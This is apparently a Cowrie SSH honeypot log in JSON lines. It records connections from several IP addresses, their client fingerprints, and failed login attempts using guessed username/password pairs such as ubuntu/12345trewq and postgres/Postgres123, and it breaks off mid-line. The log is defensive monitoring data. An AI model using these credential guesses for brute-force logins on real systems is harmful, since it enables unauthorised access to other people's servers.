{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":54858,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad2138524a19","protocol":"ssh","message":"New connection: 103.91.246.101:54858 (159.203.135.109:22) [session: ad2138524a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:07:10.869658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:07:10.874002Z","src_ip":"103.91.246.101","session":"ad2138524a19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:07:11.016333Z","src_ip":"160.251.185.39","session":"44e13aedef61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:07:11.090494Z","src_ip":"103.91.246.101","session":"ad2138524a19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345trewq","message":"login attempt [ubuntu/12345trewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:07:11.992296Z","src_ip":"103.91.246.101","session":"ad2138524a19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:07:13.212389Z","src_ip":"103.91.246.101","session":"ad2138524a19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":36676,"dst_ip":"159.203.135.109","dst_port":22,"session":"977640cecd54","protocol":"ssh","message":"New connection: 14.225.205.58:36676 (159.203.135.109:22) [session: 977640cecd54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:07:40.566079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:07:40.570028Z","src_ip":"14.225.205.58","session":"977640cecd54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:07:40.850224Z","src_ip":"14.225.205.58","session":"977640cecd54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w3e4r5","message":"login attempt [ubuntu/1q2w3e4r5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:07:41.920937Z","src_ip":"14.225.205.58","session":"977640cecd54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:07:43.183373Z","src_ip":"14.225.205.58","session":"977640cecd54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":49968,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8991ace7d83","protocol":"ssh","message":"New connection: 103.91.246.101:49968 (159.203.135.109:22) [session: d8991ace7d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:16.643559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:16.648079Z","src_ip":"103.91.246.101","session":"d8991ace7d83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:16.876251Z","src_ip":"103.91.246.101","session":"d8991ace7d83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Postgres123","message":"login attempt [postgres/Postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:17.810309Z","src_ip":"103.91.246.101","session":"d8991ace7d83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:19.039877Z","src_ip":"103.91.246.101","session":"d8991ace7d83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":56326,"dst_ip":"159.203.135.109","dst_port":22,"session":"46ae2d85eca0","protocol":"ssh","message":"New connection: 14.225.205.58:56326 (159.203.135.109:22) [session: 46ae2d85eca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:39.670145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:39.674190Z","src_ip":"14.225.205.58","session":"46ae2d85eca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:39.931740Z","src_ip":"14.225.205.58","session":"46ae2d85eca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":44804,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ece50c715e3","protocol":"ssh","message":"New connection: 58.186.20.143:44804 (10.17.0.5:22) [session: 3ece50c715e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:40.671981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:40.676039Z","src_ip":"58.186.20.143","session":"3ece50c715e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:40.926302Z","src_ip":"58.186.20.143","session":"3ece50c715e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123","message":"login attempt [ubuntu/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:40.995214Z","src_ip":"14.225.205.58","session":"46ae2d85eca0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgoserver","message":"login attempt [csgo/csgoserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:41.953249Z","src_ip":"58.186.20.143","session":"3ece50c715e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:42.255902Z","src_ip":"14.225.205.58","session":"46ae2d85eca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:43.206492Z","src_ip":"58.186.20.143","session":"3ece50c715e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":42188,"dst_ip":"159.203.135.109","dst_port":22,"session":"06ff518a01b7","protocol":"ssh","message":"New connection: 101.47.159.125:42188 (159.203.135.109:22) [session: 06ff518a01b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:49.401374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:49.406243Z","src_ip":"101.47.159.125","session":"06ff518a01b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:49.644700Z","src_ip":"101.47.159.125","session":"06ff518a01b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"aA123456.","message":"login attempt [ubuntu/aA123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:50.633269Z","src_ip":"101.47.159.125","session":"06ff518a01b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:08:51.874838Z","src_ip":"101.47.159.125","session":"06ff518a01b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":45652,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bb050a2cc6d","protocol":"ssh","message":"New connection: 160.251.185.39:45652 (10.17.0.5:22) [session: 4bb050a2cc6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:09.303312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:09.308053Z","src_ip":"160.251.185.39","session":"4bb050a2cc6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:09.494843Z","src_ip":"160.251.185.39","session":"4bb050a2cc6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"123456789","message":"login attempt [sftpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:10.273627Z","src_ip":"160.251.185.39","session":"4bb050a2cc6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:11.463805Z","src_ip":"160.251.185.39","session":"4bb050a2cc6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":53972,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0cc46b32dd8","protocol":"ssh","message":"New connection: 103.91.246.101:53972 (159.203.135.109:22) [session: b0cc46b32dd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:21.534935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:21.540066Z","src_ip":"103.91.246.101","session":"b0cc46b32dd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:21.761333Z","src_ip":"103.91.246.101","session":"b0cc46b32dd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"UbuntuPassword","message":"login attempt [ubuntu/UbuntuPassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:22.673411Z","src_ip":"103.91.246.101","session":"b0cc46b32dd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:23.898221Z","src_ip":"103.91.246.101","session":"b0cc46b32dd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":32910,"dst_ip":"159.203.135.109","dst_port":22,"session":"35aee6971f50","protocol":"ssh","message":"New connection: 14.225.205.58:32910 (159.203.135.109:22) [session: 35aee6971f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:38.571489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:38.576673Z","src_ip":"14.225.205.58","session":"35aee6971f50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libs